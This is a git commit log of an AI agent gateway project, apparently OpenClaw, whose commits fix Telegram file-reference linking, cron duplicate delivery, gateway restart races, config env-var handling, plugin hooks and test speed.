2026-02-13 19:05:02 -06:00
Peter Steinberger
e18f94a347 refactor(config): simplify env snapshot write context 2026-02-14 02:03:45 +01:00
Peter Steinberger
cc2249a431 refactor(telegram): extract native command menu helpers 2026-02-14 02:02:53 +01:00
Peter Steinberger
2e84ae7019 perf(test): consolidate browser profile CRUD checks 2026-02-14 01:02:14 +00:00
Peter Steinberger
e8377799bb perf(test): reduce vitest logging overhead and media fixture cost 2026-02-14 00:59:53 +00:00
Artale
31d8546afd fix(gateway): hide phantom main agent when agents.list is configured (openclaw#12364) thanks @arosstale
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:56:10 -06:00
AkosCz
a4f4b0636f fix: preserve ${VAR} env var references when writing config back to disk (#11560)
* fix: preserve ${VAR} env var references when writing config back to disk

Fixes #11466

When config is loaded, ${VAR} references are resolved to their plaintext
values. Previously, writeConfigFile would serialize the resolved values,
silently replacing "${ANTHROPIC_API_KEY}" with "sk-ant-api03-..." in the
config file.

Now writeConfigFile reads the current file pre-substitution, and for each
value that matches what a ${VAR} reference would resolve to, restores the
original reference. Values the caller intentionally changed are kept as-is.

This fixes all 50+ writeConfigFile call sites (doctor, configure wizard,
gateway config.set/apply/patch, plugins, hooks, etc.) without requiring
any caller changes.

New files:
- src/config/env-preserve.ts — restoreEnvVarRefs() utility
- src/config/env-preserve.test.ts — 11 unit tests

* fix: remove global config env snapshot race

* docs(changelog): note config env snapshot race fix

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 01:53:17 +01:00
Owen
11ab1c6937 fix: enforce Telegram 100-command limit with warning (#5787) (#15844)
* fix: enforce Telegram 100-command limit with warning (#5787)

Telegram's setMyCommands API rejects requests with more than 100 commands.
When skills + custom + plugin commands exceed the limit, truncate to 100
and warn the user instead of silently failing on every startup.

* fix: enforce Telegram menu cap + keep hidden commands callable (#15844) (thanks @battman21)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 01:51:00 +01:00
Peter Steinberger
aa6d8b27ac perf(test): merge queue integration coverage and shrink media fixture 2026-02-14 00:50:14 +00:00
Cezar “ikari” Pokorski
d134c854a5 feat(config): expose full pi-ai model compat fields in config schema (openclaw#11063) thanks @ikari-pl
Verified:
- pnpm build
- pnpm check
- pnpm test (full run; transient lobster timeout rerun passed)

Co-authored-by: ikari-pl <811702+ikari-pl@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:47:18 -06:00
AI-Reviewer-QS
28431b84cc fix(gateway): prune expired entries instead of clearing all hook auth failure state (#15848)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 188a40e8a3
Co-authored-by: AI-Reviewer-QS <255312808+AI-Reviewer-QS@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 01:46:12 +01:00
Artale
67b5c093b5 fix(auto-reply): allow image-only messages to reach the agent (openclaw#12352) thanks @arosstale
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:42:22 -06:00
Peter Steinberger
e7c3c27fd0 perf(test): trim browser and models suite overhead 2026-02-14 00:38:55 +00:00
Artale
fdacfc571c fix(media): classify text/* MIME types as documents (openclaw#12341) thanks @arosstale
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:38:38 -06:00
Spacefish
f9379ecee2 Ignore up to 4 non-word characters when stripping HEARTBEAT_OK token … (#15847)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: dc03ce5005
Co-authored-by: Spacefish <375633+Spacefish@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 01:36:04 +01:00
Peter Steinberger
6daa4911e7 perf(subagents): speed announce retry polling and trim duplicate e2e coverage 2026-02-14 00:28:20 +00:00
Peter Steinberger
4d1461011d perf(cli): speed up help/config paths and route config get/unset 2026-02-14 00:27:35 +00:00
Shadril Hassan Shifat
386bb0c618 fix: don't auto-create HEARTBEAT.md on workspace init (openclaw#12027) thanks @shadril238
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: shadril238 <63901551+shadril238@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:24:22 -06:00
Peter Steinberger
0a724127dc perf(test): tighten telegram media e2e flush windows 2026-02-14 00:23:36 +00:00
Peter Steinberger
784e7c1fd5 perf(test): reduce repeated image work in web auto-reply e2e 2026-02-14 00:21:53 +00:00
Shadril Hassan Shifat
1c928e493d fix(hooks): replace console logging with proper subsystem logging in loader (openclaw#11029) thanks @shadril238
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: shadril238 <63901551+shadril238@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:21:11 -06:00
Peter Steinberger
05524bb5ef perf(test): remove duplicate models list e2e suite 2026-02-14 00:20:47 +00:00
Sunwoo Yu
11702290ff feat(ollama): add native /api/chat provider for streaming + tool calling (#11853)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0a723f98e6
Co-authored-by: BrokenFinger98 <115936166+BrokenFinger98@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 01:20:42 +01:00
Shadril Hassan Shifat
5378583da1 fix(discord): Apply historyLimit to channel/group sessions to prevent compaction bypass (openclaw#11356) thanks @shadril238
Verified:
- pnpm build
- pnpm check
- pnpm test (ran; one unrelated existing failure in models forward-compat test)
- pnpm vitest src/agents/pi-embedded-runner.history-limit-from-session-key.test.ts

Co-authored-by: shadril238 <63901551+shadril238@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 18:18:57 -06:00
Peter Steinberger
ec4da3aca9 perf(test): lighten models list e2e registry mock 2026-02-14 00:17:49 +00:00
Peter Steinberger
212da860a9 perf(test): speed up screenshot normalization e2e fixture 2026-02-14 00:17:49 +00:00
Peter Steinberger
93dc3bb79a perf(test): avoid npm pack in plugin install e2e fixtures 2026-02-14 00:17:49 +00:00
Peter Steinberger
bc3eb98445 fix(cli): avoid runtime import cycle in routed commands 2026-02-14 00:17:29 +00:00
Peter Steinberger
2f49d8858c perf(cli): slim route-first bootstrap with lazy route handlers 2026-02-14 00:12:23 +00:00
Peter Steinberger
fecb3f326e perf(test): trim models/browser suite overhead 2026-02-14 00:08:02 +00:00
Peter Steinberger
cf2524b8b9 refactor(models): share auth helpers and forward-compat list fallbacks 2026-02-14 01:07:35 +01:00
Peter Steinberger
363a56ab87 refactor(telegram): streamline file-ref wrapping and hoist regexes 2026-02-14 01:03:50 +01:00
Peter Steinberger
3a73e2508b perf(gateway): skip idle channel shutdown work 2026-02-13 23:57:03 +00:00
Vincent Koc
a0cbf9002d fix(models): antigravity opus 4.6 availability follow-up (#12845)
* fix(models): antigravity opus 4.6 availability follow-up

* chore(format): apply updated oxfmt config to models files

* fix(models): retain zai glm-5 forward-compat fallback after extraction

* chore(format): apply updated oxfmt config

* fix(models): fail fast on unknown auth login provider

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 00:54:46 +01:00
Peter Steinberger
23e8f3a20a perf(test): merge block-streaming scenarios into single fixture run 2026-02-13 23:54:28 +00:00
Glucksberg
9bd2ccb017 feat: add pre-prompt context size diagnostic logging (openclaw#8930) thanks @Glucksberg
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 17:54:22 -06:00
Peter Steinberger
79bd82a35b perf(test): statically import gateway reload deps 2026-02-13 23:52:20 +00:00
Divanoli Mydeen Pitchai
1055e71c4b fix(telegram): auto-wrap .md file references in backticks to prevent URL previews (#8649)
* fix(telegram): auto-wrap file references with TLD extensions to prevent URL previews

Telegram's auto-linker aggressively treats filenames like HEARTBEAT.md,
README.md, main.go, script.py as URLs and generates domain registrar previews.

This fix adds comprehensive protection for file extensions that share TLDs:
- High priority: .md, .go, .py, .pl, .ai, .sh
- Medium priority: .io, .tv, .fm, .am, .at, .be, .cc, .co

Implementation:
- Added wrapFileReferencesInHtml() in format.ts
- Runs AFTER markdown→HTML conversion
- Tokenizes HTML to respect tag boundaries
- Skips content inside <code>, <pre>, <a> tags (no nesting issues)
- Applied to all rendering paths: renderTelegramHtmlText, markdownToTelegramHtml,
  markdownToTelegramChunks, and delivery.ts fallback

Addresses review comments:
- P1: Now handles chunked rendering paths correctly
- P2: No longer wraps inside existing code blocks (token-based parsing)
- No lookbehinds used (broad Node compatibility)

Includes comprehensive test suite in format.wrap-md.test.ts

AI-assisted: true

* fix(telegram): prevent URL previews for file refs with TLD extensions

Two layers were causing spurious link previews for file references like
`README.md`, `backup.sh`, `main.go`:

1. **markdown-it linkify** converts `README.md` to
   `<a href="http://README.md">README.md</a>` (.md = Moldova TLD)
2. **Telegram auto-linker** treats remaining bare text as URLs

## Changes

### Primary fix: suppress auto-linkified file refs in buildTelegramLink
- Added `isAutoLinkedFileRef()` helper that detects when linkify auto-
  generated a link from a bare filename (href = "http://" + label)
- Rejects paths with domain-like segments (dots in non-final path parts)
- Modified `buildTelegramLink()` to return null for these, so file refs
  stay as plain text and get wrapped in `<code>` by the wrapper

### Safety-net: de-linkify in wrapFileReferencesInHtml
- Added pre-pass that catches auto-linkified anchors in pre-rendered HTML
- Handles edge cases where HTML is passed directly (textMode: "html")
- Reuses `isAutoLinkedFileRef()` logic — no duplication

### Bug fixes discovered during review
- **Fixed `isClosing` bug (line 169)**: the check `match[1] === "/"`
  was wrong — the regex `(<\/?)}` captures `<` or `</`, so closing
  tags were never detected. Changed to `match[1] === "</"`. This was
  causing `inCode/inPre/inAnchor` to stay stuck at true after any
  opening tag, breaking file ref wrapping after closing tags.
- **Removed double `wrapFileReferencesInHtml` call**: `renderTelegramHtmlText`
  was calling `markdownToTelegramHtml` (which wraps) then wrapping again.

### Test coverage (+12 tests, 26 total)
- `.sh` filenames (original issue #6932 mentioned backup.sh)
- Auto-linkified anchor replacement
- Auto-linkified path anchor replacement
- Explicit link preservation (different label)
- File ref after closing anchor tag (exercises isClosing fix)
- Multiple file types in single message
- Real URL preservation
- Explicit markdown link preservation
- File ref after real URL in same message
- Chunked output file ref wrapping

Closes #6932

* test(telegram): add comprehensive edge case coverage for file ref wrapping

Add 16 edge case tests covering:
- File refs inside bold/italic tags
- Fenced code blocks (no double-wrap)
- Domain-like paths preserved as links (example.com/README.md)
- GitHub URLs with file paths
- wrapFileRefs: false behavior
- All TLD extensions (.ai, .io, .tv, .fm)
- Non-TLD extensions not wrapped (.png, .css, .js)
- File ref position (start, end, multiple in sequence)
- Nested paths without domain segments
- Version-like paths (v1.0/README.md wraps, example.com/v1.0/README.md links)
- Hyphens and underscores in filenames
- Uppercase extensions

* fix(telegram): use regex literal and depth counters for tag tracking

Code review fixes:
1. Replace RegExp constructor with regex literal for autoLinkedAnchor
   - Avoids double-escaping issues with \s
   - Uses backreference \1 to match href=label pattern directly

2. Replace boolean toggles with depth counters for tag nesting
   - codeDepth, preDepth, anchorDepth track nesting levels
   - Correctly handles nested tags like <pre><code>...</code></pre>
   - Prevents wrapping inside any level of protected tags

Add 4 tests for edge cases:
- Nested code tags (depth tracking)
- Multiple anchor tags in sequence
- Auto-linked anchor with backreference match
- Anchor with different href/label (no match)

* fix(telegram): add escapeHtml and escapeRegex for defense in depth

Code review fixes:
1. Escape filename with escapeHtml() before inserting into <code> tags
   - Prevents HTML injection if regex ever matches unsafe chars
   - Defense in depth (current regex already limits to safe chars)

2. Escape extensions with escapeRegex() before joining into pattern
   - Prevents regex breakage if extensions contain metacharacters
   - Future-proofs against extensions like 'c++' or 'd.ts'

Add tests documenting regex safety boundaries:
- Filenames with special chars (&, <, >) don't match
- Only [a-zA-Z0-9_.\-./] chars are captured

* fix(telegram): catch orphaned single-letter TLD patterns

When text like 'R&D.md' doesn't match the main file pattern (because &
breaks the character class), the 'D.md' part can still be auto-linked
by Telegram as a domain (https://d.md/).

Add second pass to catch orphaned TLD patterns like 'D.md', 'R.io', 'X.ai'
that follow non-alphanumeric characters and wrap them in <code> tags.

Pattern: ([^a-zA-Z0-9]|^)([A-Za-z]\.(?:extensions))(?=[^a-zA-Z0-9/]|$)

Tests added:
- 'wraps orphaned TLD pattern after special character' (R&D.md → R&<code>D.md</code>)
- 'wraps orphaned single-letter TLD patterns' (X.ai, R.io)

* refactor(telegram): remove popular domain TLDs from file extension list

Remove .ai, .io, .tv, .fm from FILE_EXTENSIONS_WITH_TLD because:
- These are commonly used as real domains (x.ai, vercel.io, github.io)
- Rarely used as actual file extensions
- Users are more likely referring to websites than files

Keep: md, sh, py, go, pl (common file extensions, rarely intentional domains)
Keep: am, at, be, cc, co (less common as intentional domain references)

Update tests to reflect the change:
- Add test for supported extensions (.am, .at, .be, .cc, .co)
- Add test verifying popular TLDs stay as links

* fix(telegram): prevent orphaned TLD wrapping inside HTML tags

Code review fixes:

1. Orphaned TLD pass now checks if match is inside HTML tag
   - Uses lastIndexOf('<') vs lastIndexOf('>') to detect tag context
   - Skips wrapping when between < and > (inside attributes)
   - Prevents invalid HTML like <a href="...&<code>D.md</code>">

2. textMode: 'html' now trusts caller markup
   - Returns text unchanged instead of wrapping
   - Caller owns HTML structure in this mode

Tests added:
- 'does not wrap orphaned TLD inside href attributes'
- 'does not wrap orphaned TLD inside any HTML attribute'
- 'does not wrap in HTML mode (trusts caller markup)'

* refactor(telegram): use snapshot for orphaned TLD offset clarity

Use explicit snapshot variable when checking tag positions in orphaned
TLD pass. While JavaScript's replace() doesn't mutate during iteration,
this makes intent explicit and adds test coverage for multi-TLD HTML.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* fix(telegram): prevent orphaned TLD wrapping inside code/pre tags

- Add depth tracking for code/pre tags in orphaned TLD pass
- Fix test to expect valid HTML output
- 55 tests now covering nested tag scenarios

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* fix(telegram): clamp depth counters and add anchor tracking to orphaned pass

- Clamp depth counters at 0 for malformed HTML with stray closing tags
- Add anchor depth tracking to orphaned TLD pass to prevent wrapping
  inside link text (e.g., <a href="...">R&D.md</a>)
- 57 tests covering all edge cases

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* fix(telegram): keep .co domains linked and wrap punctuated file refs

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 00:51:47 +01:00
Peter Steinberger
4bef423d83 perf(test): reduce gateway reload waits and trim duplicate invoke coverage 2026-02-13 23:50:08 +00:00
solstead
ab71fdf821 Plugin API: compaction/reset hooks, bootstrap file globs, memory plugin status (#13287)
* feat: add before_compaction and before_reset plugin hooks with session context

- Pass session messages to before_compaction hook
- Add before_reset plugin hook for /new and /reset commands
- Add sessionId to plugin hook agent context

* feat: extraBootstrapFiles config with glob pattern support

Add extraBootstrapFiles to agent defaults config, allowing glob patterns
(e.g. "projects/*/TOOLS.md") to auto-load project-level bootstrap files
into agent context every turn. Missing files silently skipped.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(status): show custom memory plugins as enabled, not unavailable

The status command probes memory availability using the built-in
memory-core manager. Custom memory plugins (e.g. via plugin slot)
can't be probed this way, so they incorrectly showed "unavailable".
Now they show "enabled (plugin X)" without the misleading label.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use async fs.glob and capture pre-compaction messages

- Replace globSync (node:fs) with fs.glob (node:fs/promises) to match
  codebase conventions for async file operations
- Capture session.messages BEFORE replaceMessages(limited) so
  before_compaction hook receives the full conversation history,
  not the already-truncated list

* fix: resolve lint errors from CI (oxlint strict mode)

- Add void to fire-and-forget IIFE (no-floating-promises)
- Use String() for unknown catch params in template literals
- Add curly braces to single-statement if (curly rule)

* fix: resolve remaining CI lint errors in workspace.ts

- Remove `| string` from WorkspaceBootstrapFileName union (made all
  typeof members redundant per no-redundant-type-constituents)
- Use type assertion for extra bootstrap file names
- Drop redundant await on fs.glob() AsyncIterable (await-thenable)

* fix: address Greptile review — path traversal guard + fs/promises import

- workspace.ts: use path.resolve() + traversal check in loadExtraBootstrapFiles()
- commands-core.ts: import fs from node:fs/promises, drop fs.promises prefix

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: resolve symlinks before workspace boundary check

Greptile correctly identified that symlinks inside the workspace could
point to files outside it, bypassing the path prefix check. Now uses
fs.realpath() to resolve symlinks before verifying the real path stays
within the workspace boundary.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address Greptile review — hook reliability and type safety

1. before_compaction: add compactingCount field so plugins know both
   the full pre-compaction message count and the truncated count being
   fed to the compaction LLM. Clarify semantics in comment.

2. loadExtraBootstrapFiles: use path.basename() for the name field
   so "projects/quaid/TOOLS.md" maps to the known "TOOLS.md" type
   instead of an invalid WorkspaceBootstrapFileName cast.

3. before_reset: fire the hook even when no session file exists.
   Previously, short sessions without a persisted file would silently
   skip the hook. Now fires with empty messages array so plugins
   always know a reset occurred.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: validate bootstrap filenames and add compaction hook timeout

- Only load extra bootstrap files whose basename matches a recognized
  workspace filename (AGENTS.md, TOOLS.md, etc.), preventing arbitrary
  files from being injected into agent context.
- Wrap before_compaction hook in a 30-second Promise.race timeout so
  misbehaving plugins cannot stall the compaction pipeline.
- Clarify hook comments: before_compaction is intentionally awaited
  (plugins need messages before they're discarded) but bounded.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: make before_compaction non-blocking, add sessionFile to after_compaction

- before_compaction is now true fire-and-forget — no await, no timeout.
  Plugins that need full conversation data should persist it themselves
  and return quickly, or use after_compaction for async processing.
- after_compaction now includes sessionFile path so plugins can read
  the full JSONL transcript asynchronously. All pre-compaction messages
  are preserved on disk, eliminating the need to block compaction.
- Removes Promise.race timeout pattern that didn't actually cancel
  slow hooks (just raced past them while they continued running).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat: add sessionFile to before_compaction for parallel processing

The session JSONL already has all messages on disk before compaction
starts. By providing sessionFile in before_compaction, plugins can
read and extract data in parallel with the compaction LLM call rather
than waiting for after_compaction. This is the optimal path for memory
plugins that need the full conversation history.

sessionFile is also kept on after_compaction for plugins that only
need to act after compaction completes (analytics, cleanup, etc.).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* refactor: move bootstrap extras into bundled hook

---------

Co-authored-by: Solomon Steadman <solstead@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Clawdbot <clawdbot@alfie.local>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 00:45:45 +01:00
Jessy LANGE
3bda3df729 fix(browser): hot-reload profiles added after gateway start (#4841) (#8816)
* fix(browser): hot-reload profiles added after gateway start (#4841)

* style: format files with oxfmt

* Fix hot-reload stale config fields bug in forProfile

* Fix test order-dependency in hot-reload profiles test

* Fix mock reset order to prevent stale cfgProfiles

* Fix config cache blocking hot-reload by clearing cache before loadConfig

* test: improve hot-reload test to properly exercise config cache

- Add simulated cache behavior in mock
- Prime cache before mutating config
- Verify stale value without clearConfigCache
- Verify fresh value after hot-reload

Addresses review comment about test not exercising cache

* test: add hot-reload tests for browser profiles in server context.

* fix(browser): optimize profile hot-reload to avoid global cache clear

* fix(browser): remove unused loadConfig import

* fix(test): execute resetModules before test setup

* feat: implement browser server context with profile hot-reloading and tab management.

* fix(browser): harden profile hot-reload and shutdown cleanup

* test(browser): use toSorted in known-profile names test

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 00:44:04 +01:00
Peter Steinberger
d5e25e0ad8 refactor: centralize dispatcher lifecycle ownership 2026-02-14 00:41:37 +01:00
Peter Steinberger
5caf829d28 perf(test): trim duplicate gateway and auto-reply test overhead 2026-02-13 23:40:38 +00:00
Peter Steinberger
ad57e561c6 refactor: unify gateway restart deferral and dispatcher cleanup 2026-02-14 00:38:18 +01:00
Peter Steinberger
51296e770c feat(slack): land thread-ownership from @DarlingtonDeveloper (#15775)
Land PR #15775 by @DarlingtonDeveloper:
- add thread-ownership plugin and Slack message_sending hook wiring
- include regression tests and changelog update

Co-authored-by: Mike <108890394+DarlingtonDeveloper@users.noreply.github.com>
2026-02-13 23:37:05 +00:00
Taylor Asplund
874ff7089c fix: ensure CLI exits after command completion (#12906)
* fix: ensure CLI exits after command completion

The CLI process would hang indefinitely after commands like
`openclaw gateway restart` completed successfully.  Two root causes:

1. `runCli()` returned without calling `process.exit()` after
   `program.parseAsync()` resolved, and Commander.js does not
   force-exit the process.

2. `daemon-cli/register.ts` eagerly called `createDefaultDeps()`
   which imported all messaging-provider modules, creating persistent
   event-loop handles that prevented natural Node exit.

Changes:
- Add `flushAndExit()` helper that drains stdout/stderr before calling
  `process.exit()`, preventing truncated piped output in CI/scripts.
- Call `flushAndExit()` after both `tryRouteCli()` and
  `program.parseAsync()` resolve.
- Remove unnecessary `void createDefaultDeps()` from daemon-cli
  registration — daemon lifecycle commands never use messaging deps.
- Make `serveAcpGateway()` return a promise that resolves on
  intentional shutdown (SIGINT/SIGTERM), so `openclaw acp` blocks
  `parseAsync` for the bridge lifetime and exits cleanly on signal.
- Handle the returned promise in the standalone main-module entry
  point to avoid unhandled rejections.

Fixes #12904

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: refactor CLI lifecycle and lazy outbound deps (#12906) (thanks @DrCrinkle)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 00:34:33 +01:00
Peter Steinberger
2378d770d1 perf(test): speed gateway suite resets with unique config roots 2026-02-13 23:33:08 +00:00
Peter Steinberger
e794ef0478 perf(test): reduce hot-suite setup and duplicate test work 2026-02-13 23:30:41 +00:00
Bridgerz
ab4a08a82a fix: defer gateway restart until all replies are sent (#12970)
* fix: defer gateway restart until all replies are sent

Fixes a race condition where gateway config changes (e.g., enabling
plugins via iMessage) trigger an immediate SIGUSR1 restart, killing the
iMessage RPC connection before replies are delivered.

Both restart paths (config watcher and RPC-triggered) now defer until
all queued operations, pending replies, and embedded agent runs complete
(polling every 500ms, 30s timeout). A shared emitGatewayRestart() guard
prevents double SIGUSR1 when both paths fire simultaneously.

Key changes:
- Dispatcher registry tracks active reply dispatchers globally
- markComplete() called in finally block for guaranteed cleanup
- Pre-restart deferral hook registered at gateway startup
- Centralized extractDeliveryInfo() for session key parsing
- Post-restart sentinel messages delivered directly (not via agent)
- config-patch distinguished from config-apply in sentinel kind

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: single-source gateway restart authorization

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 00:29:29 +01:00
Peter Steinberger
dc507f3dec perf(test): reduce memory and port probe overhead 2026-02-13 23:22:30 +00:00
Peter Steinberger
1aa746f042 perf(test): lower synthetic payload in embedding batch split case 2026-02-13 23:16:42 +00:00
Peter Steinberger
faeac955b5 perf(test): trim retry-loop work in embedding batch tests 2026-02-13 23:16:42 +00:00
Peter Steinberger
e324cb5b94 perf(test): reduce fixture churn in hot suites 2026-02-13 23:16:41 +00:00
Peter Steinberger
dac8f5ba3f perf(test): trim fixture and import overhead in hot suites 2026-02-13 23:16:41 +00:00
Peter Steinberger
b8703546e9 docs(changelog): note cron delivered-relay regression coverage (#15737) (thanks @brandonwise) 2026-02-14 00:08:56 +01:00
Brandon Wise
b0728e605d fix(cron): skip relay only for explicit delivery config, not legacy payload
Fixes #15692

The previous fix was too broad — it removed the relay for ALL isolated jobs.
This broke backwards compatibility for jobs without explicit delivery config.

The correct behavior is:
- If job.delivery exists → isolated runner handles it via runSubagentAnnounceFlow
- If only legacy payload.deliver fields → relay to main if requested (original behavior)

This addresses Greptile's review feedback about runIsolatedAgentJob being an
injected dependency that might not call runSubagentAnnounceFlow.

Uses resolveCronDeliveryPlan().source to distinguish between explicit delivery
config and legacy payload-only jobs.
2026-02-14 00:08:56 +01:00
Peter Steinberger
45a2cd55cc fix: harden isolated cron announce delivery fallback (#15739) (thanks @widingmarcus-cyber) 2026-02-13 23:49:10 +01:00
Marcus Widing
ea95e88dd6 fix(cron): prevent duplicate delivery for isolated jobs with announce mode
When an isolated cron job delivers its output via deliverOutboundPayloads
or the subagent announce flow, the finish handler in executeJobCore
unconditionally posts a summary to the main agent session and wakes it
via requestHeartbeatNow. The main agent then generates a second response
that is also delivered to the target channel, resulting in duplicate
messages with different content.

Add a `delivered` flag to RunCronAgentTurnResult that is set to true
when the isolated run successfully delivers its output. In executeJobCore,
skip the enqueueSystemEvent + requestHeartbeatNow call when the flag is
set, preventing the main agent from waking up and double-posting.

Fixes #15692
2026-02-13 23:49:10 +01:00
nabbilkhan
207e2c5aff fix: add outbound delivery crash recovery (#15636) (thanks @nabbilkhan) (#15636)
Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-13 15:54:07 -06:00
Peter Steinberger
caebe70e9a perf(test): cut setup/import overhead in hot suites 2026-02-13 21:23:50 +00:00
Peter Steinberger
93dd51bce0 perf(matrix): lazy-load music-metadata parsing 2026-02-13 21:23:50 +00:00
Joseph Krug
4e9f933e88 fix: reset stale execution state after SIGUSR1 in-process restart (#15195)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 676f9ec451
Co-authored-by: joeykrug <5925937+joeykrug@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-13 15:30:09 -05:00
Peter Steinberger
2086cdfb9b perf(test): reduce hot-suite import and setup overhead 2026-02-13 20:26:39 +00:00
Peter Steinberger
1655df7ac0 fix(config): log config overwrite audits 2026-02-13 20:12:41 +00:00
Gustavo Madeira Santana
42eaee8b7e chore: fix root_dir resolution/stale scripts during PR review 2026-02-13 15:09:39 -05:00
Peter Steinberger
6442512954 perf: reduce hotspot test startup and timeout costs 2026-02-13 20:03:01 +00:00
Marcus Castro
31537c669a fix: archive old transcript files on /new and /reset (#14949)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4724df7dea
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-13 14:55:16 -05:00
Peter Steinberger
c8b198ab51 perf: speed up gateway missing-tick e2e watchdog 2026-02-13 19:52:45 +00:00
Peter Steinberger
e746a67cc3 perf: speed up telegram media e2e flush timing 2026-02-13 19:52:45 +00:00
Gustavo Madeira Santana
bbca3b191a changelog: add missing attribution 2026-02-13 14:47:51 -05:00
Shadow
8c1e8bb2ff fix: note clawdock zsh compatibility (#15501) (thanks @nkelner) 2026-02-13 13:47:16 -06:00
Nathaniel Kelner
66f6d71ffa Update clawdock-helpers.sh compatibility with Zsh
Unlike Bash, Zsh has several "special" readonly variables (status, pipestatus, etc.) that the shell manages automatically. Shadowing them with local declarations triggers an error.
2026-02-13 13:47:16 -06:00
大猫子
f24d70ec8e fix(providers): switch MiniMax API-key provider to anthropic-messages (#15297)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0e7f84a2a1
Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-13 14:44:36 -05:00
Marcus Castro
4225206f0c fix(gateway): normalize session key casing to prevent ghost sessions (#12846)
* fix(gateway): normalize session key casing to prevent ghost sessions on Linux

On case-sensitive filesystems (Linux), mixed-case session keys like
agent:ops:MySession and agent:ops:mysession resolve to different store
entries, creating ghost duplicates that never converge.

Core changes in session-utils.ts:
- resolveSessionStoreKey: lowercase all session key components
- canonicalizeSpawnedByForAgent: accept cfg, resolve main-alias references
  via canonicalizeMainSessionAlias after lowercasing
- loadSessionEntry: return legacyKey only when it differs from canonicalKey
- resolveGatewaySessionStoreTarget: scan store for case-insensitive matches;
  add optional scanLegacyKeys param to skip disk reads for read-only callers
- Export findStoreKeysIgnoreCase for use by write-path consumers
- Compare global/unknown sentinels case-insensitively in all canonicalization
  functions

sessions-resolve.ts:
- Make resolveSessionKeyFromResolveParams async for inline migration
- Check canonical key first (fast path), then fall back to legacy scan
- Delete ALL legacy case-variant keys in a single updateSessionStore pass

Fixes #12603

* fix(gateway): propagate canonical keys and clean up all case variants on write paths

- agent.ts: use canonicalizeSpawnedByForAgent (with cfg) instead of raw
  toLowerCase; use findStoreKeysIgnoreCase to delete all legacy variants
  on store write; pass canonicalKey to addChatRun, registerAgentRunContext,
  resolveSendPolicy, and agentCommand
- sessions.ts: replace single-key migration with full case-variant cleanup
